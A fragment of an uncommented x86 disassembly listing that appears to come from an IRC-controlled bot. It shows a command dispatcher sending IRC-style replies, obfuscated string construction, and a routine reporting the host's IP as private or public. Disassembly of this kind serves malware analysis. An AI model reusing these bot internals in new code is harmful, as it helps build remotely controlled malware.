var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411AD0	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B90	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411BA8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BA8:				; CODE XREF: sub_411B90+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411BC0	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411BC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411BE6
		lea	edi, [esi+11h]
		jmp	short loc_411BE8
; ---------------------------------------------------------------------------


loc_411BE6:				; CODE XREF: sub_411BC0+1Fj
		xor	edi, edi


loc_411BE8:				; CODE XREF: sub_411BC0+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_411BC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C3C
		lea	ebx, [esi+11h]
		jmp	short loc_411C3E
; ---------------------------------------------------------------------------


loc_411C3C:				; CODE XREF: ___:00411C35j
		xor	ebx, ebx


loc_411C3E:				; CODE XREF: ___:00411C3Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C9B
		lea	ebx, [esi+11h]
		jmp	short loc_411C9D
; ---------------------------------------------------------------------------


loc_411C9B:				; CODE XREF: ___:00411C94j
		xor	ebx, ebx


loc_411C9D:				; CODE XREF: ___:00411C99j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CF0
		lea	ebx, [esi+11h]
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411CF0:				; CODE XREF: ___:00411CE9j
		xor	ebx, ebx


loc_411CF2:				; CODE XREF: ___:00411CEEj
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D45
		lea	ebx, [esi+11h]
		jmp	short loc_411D47
; ---------------------------------------------------------------------------


loc_411D45:				; CODE XREF: ___:00411D3Ej
		xor	ebx, ebx


loc_411D47:				; CODE XREF: ___:00411D43j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D98
		lea	ebx, [esi+11h]
		jmp	short loc_411D9A
; ---------------------------------------------------------------------------


loc_411D98:				; CODE XREF: ___:00411D91j
		xor	ebx, ebx


loc_411D9A:				; CODE XREF: ___:00411D96j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DF1
		lea	ebx, [esi+11h]
		jmp	short loc_411DF3
; ---------------------------------------------------------------------------


loc_411DF1:				; CODE XREF: ___:00411DEAj
		xor	ebx, ebx


loc_411DF3:				; CODE XREF: ___:00411DEFj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E4F
		lea	ebx, [esi+11h]
		jmp	short loc_411E51
; ---------------------------------------------------------------------------


loc_411E4F:				; CODE XREF: ___:00411E48j
		xor	ebx, ebx


loc_411E51:				; CODE XREF: ___:00411E4Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EAA
		lea	ebx, [esi+11h]
		jmp	short loc_411EAC
; ---------------------------------------------------------------------------


loc_411EAA:				; CODE XREF: ___:00411EA3j
		xor	ebx, ebx


loc_411EAC:				; CODE XREF: ___:00411EA8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F05
		lea	ebx, [esi+11h]
		jmp	short loc_411F07
; ---------------------------------------------------------------------------


loc_411F05:				; CODE XREF: ___:00411EFEj
		xor	ebx, ebx


loc_411F07:				; CODE XREF: ___:00411F03j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412060	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412060
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412589
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412589
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412162
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_4470C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_412162:				; CODE XREF: sub_412060+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4121D9
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_4121D9:				; CODE XREF: sub_412060+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412294
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_4125B2
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_412294:				; CODE XREF: sub_412060+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41233D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_41233D:				; CODE XREF: sub_412060+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123AB
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_4470F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_4123AB:				; CODE XREF: sub_412060+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41240D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_41240D:				; CODE XREF: sub_412060+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124AD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_4125B2
; ---------------------------------------------------------------------------


loc_4124AD:				; CODE XREF: sub_412060+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4125B2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4125B2
; ---------------------------------------------------------------------------


loc_412589:				; CODE XREF: sub_412060+3Aj
					; sub_412060+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_4125B2:				; CODE XREF: sub_412060+FDj
					; sub_412060+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_412060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412730	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412730
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_69BB85
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F30
		call	sub_4015D7
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_41283B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412840
; ---------------------------------------------------------------------------


loc_41283B:				; CODE XREF: sub_412730+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412840:				; CODE XREF: sub_412730+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4128F0	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41294E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41294E:				; CODE XREF: sub_4128F0+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_4128F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412980	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_4368E0
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412980	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129F0	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4129F0
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A27
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A27:				; CODE XREF: sub_4129F0+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A48
		mov	eax, dword_4470C0
		push	eax
		jmp	short loc_412A4F
; ---------------------------------------------------------------------------


loc_412A48:				; CODE XREF: sub_4129F0+4Ej
		mov	ecx, dword_4470C8
		push	ecx


loc_412A4F:				; CODE XREF: sub_4129F0+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_4129F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_4368E0
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
